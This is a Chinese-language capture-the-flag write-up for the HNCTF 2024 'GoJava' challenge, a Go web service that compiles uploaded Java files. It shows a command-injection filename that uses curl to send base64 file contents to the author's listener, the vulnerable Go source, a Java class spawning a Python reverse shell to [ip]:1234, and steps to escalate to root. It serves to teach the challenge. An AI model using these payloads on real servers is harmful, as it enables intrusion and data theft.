HNCTF 2024 GoJava复现

看题目应该就是一个用Go写的Java编译器

可以把.java文件传上去进行编译

先扫个目录看看

1
python dirsearch.py -u hnctf.yuanshen.life:port

然后就可以发现有一个/js/和/robots.txt

1
2
200 -  145B  - /js/
200 - 77B - /robots.txt

那就直接看看/robots.txt

1
2
3
4
5
User-agent: *
Disallow: ./main-old.zip

User-agent: *
Disallow: ./main.go

很好,这个./main.go被403了,还有个./main-old.zip,盲猜是题目源码,访问一下下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package main

import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}

func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

这里有对文件名进行过滤的操作,猜测应该是文件名这里可能存在问题,所以就可以尝试抓包修改文件名进行RCE。

GoJava_1.png

GoJava_2.png

这里就成功RCE了

然后好像是因为过滤了一些命令,无法直接拿shell,把whoami换成ls是可以执行的但是只会拿到第一行显示的,然后可以用ls|base64用base64的形式输出

1
2
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`ls|base64` [ip]:1234||.java"
Content-Type: application/octet-stream

服务器监听返回

1
a=Y3NzCmZpbmFsCmdvLm1vZApnb2phdmEKaW5kZXguaHRtbApqcwptYWluLW9sZC56aXAKbWFpbi5n

虽然不知道为什么少了一段,但勉强能用

1
2
3
4
5
6
7
8
css
final
go.mod
gojava
index.html
js
main-old.zip
main.g

最后一个应该就是main.go,应该还有一个robots.txt和一个upload

下面我们拿一下main.go

1
a.java||curl -X POST -d a=`base64 -w 0 main.go` [IP]:1234||.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
package main

import (
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 检查请求的路径是否需要被禁止访问
if isForbiddenPath(r.URL.Path) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}

// 否则,继续处理其他请求
fs.ServeHTTP(w, r)
}))

// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
// 检查路径是否为某个特定文件或文件夹的路径
// 这里可以根据你的需求进行设置
forbiddenPaths := []string{
"/main.go",
"/upload/",
}

// 检查请求的路径是否与禁止访问的路径匹配
for _, forbiddenPath := range forbiddenPaths {
if strings.HasPrefix(path, forbiddenPath) {
return true
}
}

return false
}

func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}

// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}

// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()

if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}

// 检查文件扩展名是否为.java
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}

// 保存上传的文件至./upload文件夹
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}

// 生成随机文件名
rand.Seed(time.Now().UnixNano())
randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

// 编译Java文件
cmd := "javac ./upload/" + handler.Filename
compileCmd := exec.Command("sh", "-c", cmd)
//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
compileOutput, err := compileCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
return
}

// 将编译后的.class文件打包成.jar文件
fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
jarOutput, err := jarCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
return
}

// 返回编译后的.jar文件的下载链接
fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()

// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}

return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
jarFile := "./final/" + r.URL.Query().Get("jar")

// 检查是否存在指定的.jar文件
if !strings.HasSuffix(jarFile, ".jar") {
http.Error(w, "Invalid jar file format", http.StatusBadRequest)
return
}

if _, err := os.Stat(jarFile); os.IsNotExist(err) {
http.Error(w, "Jar file not found", http.StatusNotFound)
return
}

// 执行.jar文件
cmd := exec.Command("java", "-jar", jarFile)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
return
}

// 输出结果
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}

这有个testExecYourJarOnServer接口用于在服务器上运行jar文件,可以构造java代码

然后我们写一个马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class ExecSystemCommand {
public static void main(String[] args) {
String[] cmd = {"python3", "-c",
"import os,pty,socket;s=socket.socket();s.connect((\"[ip]\",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")"};

ProcessBuilder processBuilder = new ProcessBuilder(cmd);

try {
Process process = processBuilder.start();

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}

GoJava_3.png

访问http://hnctf.yuanshen.life:33767/testExecYourJarOnServer?jar=26269d56c97e06b0.jar拿shell

GoJava_4.png

然后看一下根目录

GoJava_5.png

这有个memorandum盲猜是密码,试试提权

GoJava_6.png

成功!

GoJava_7.png

然后就是拿flag了

cat /root/f*